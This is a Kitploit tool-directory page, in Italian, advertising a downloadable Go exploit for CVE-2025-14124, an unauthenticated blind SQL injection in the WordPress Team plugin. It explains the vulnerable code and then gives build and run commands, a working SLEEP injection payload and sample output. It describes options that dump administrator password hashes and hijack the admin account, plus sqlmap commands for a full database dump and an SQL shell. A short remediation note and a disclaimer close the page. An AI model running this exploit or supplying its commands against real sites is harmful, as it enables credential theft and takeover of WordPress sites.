Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-14124 — SQL Injection non autenticata (blind basata sul tempo) | Kitploit
Strumenti/GitHubGitHub/hyunchiya/cve-2025-14124
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

SQL Injection non autenticata (blind basata sul tempo)

Vedi Repository
7 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-14124

Plugin WordPress Team - Iniezione SQL non autenticata

Autore: Hyun Chiya


Informazioni sulla vulnerabilità

CampoValore
CVE IDCVE-2025-14124
PluginWordPress Team Plugin
Versioni interessate< 5.0.11
Tipo di vulnerabilitàIniezione SQL non autenticata (blind basata sul tempo)
GravitàAlta

Descrizione

Il plugin WordPress Team non sanifica e non esegue l'escape del parametro search prima di utilizzarlo in un'istruzione SQL tramite un'azione AJAX disponibile agli utenti non autenticati, portando a un'iniezione SQL.

Analisi della causa principale

Il codice vulnerabile si trova in app/Controllers/Frontend/Ajax/LoadMore.php:

root@kitploit:~
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Problema: $wpdb->esc_like() esegue l'escape solo dei caratteri jolly LIKE, NON dei metacaratteri per l'iniezione SQL.

Flusso di sfruttamento

root@kitploit:~
flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Prerequisiti

  1. Il target ha installato il plugin WordPress Team (< 5.0.11)
  2. Deve esistere una pagina con lo shortcode [tlpteam]
  3. Almeno un membro del team creato nel plugin

Compilazione

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

Utilizzo

Rilevamento automatico della pagina del team

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

Specifica l'URL della pagina del team

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Controlla solo il plugin

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

Ritardo SLEEP personalizzato

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

Opzioni

Modalità di estrazione dei dati (--dump)

Quando si usa --dump, lo strumento estrarrà:

  • Versione del database
  • Nome corrente del database
  • Utente del database
  • Prefisso delle tabelle WordPress
  • Nome utente amministratore
  • Hash della password amministratore
  • Email dell'amministratore

Nota: L'estrazione dei dati è lenta a causa della natura dell'iniezione SQL blind basata sul tempo (circa 5-15 minuti per un'estrazione completa).

Modalità di dirottamento dell'admin (--create-admin)

Tenta di modificare la password dell'amministratore esistente tramite UPDATE SQL.

⚠️ Importante: Questa modalità richiede il supporto delle query impilate, che in genere è disattivato in PHP+MySQL. Se le query impilate non sono supportate, usa --dump per estrarre le credenziali, oppure usa sqlmap --sql-shell per l'esecuzione diretta di UPDATE.

Esempio di output

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

Utilizzo con SQLMap

Per uno sfruttamento avanzato, puoi usare sqlmap dopo aver confermato la vulnerabilità:

root@kitploit:~
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Rimedio

⚠️ IMPORTANTE: Aggiorna il plugin WordPress Team alla versione 5.0.11 o successiva, in cui la vulnerabilità è stata corretta con un corretto escaping SQL tramite $wpdb->prepare().

Riferimenti

  • WPScan Vulnerability Database

Dichiarazione di non responsabilità

Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Usalo in modo responsabile.

Autore

Hyun Chiya

Scarica lo strumento
ArgomentoDescrizione
-uURL WordPress di destinazione (obbligatorio)
--page-urlURL della pagina contenente lo shortcode tlpteam
--delaySecondi di SLEEP per il rilevamento (predefinito: 1)
--dumpEstrae le informazioni del database e le credenziali dell'amministratore WordPress
--create-adminTenta di dirottare l'account amministratore (richiede query impilate)
--admin-userNome utente per il dirottamento dell'admin (predefinito: pwned_admin)
--admin-passPassword per il dirottamento dell'admin (predefinita: Pwned123!)
--check-onlyControlla solo se il plugin è attivo
--timeoutTimeout della richiesta in secondi (predefinito: 120)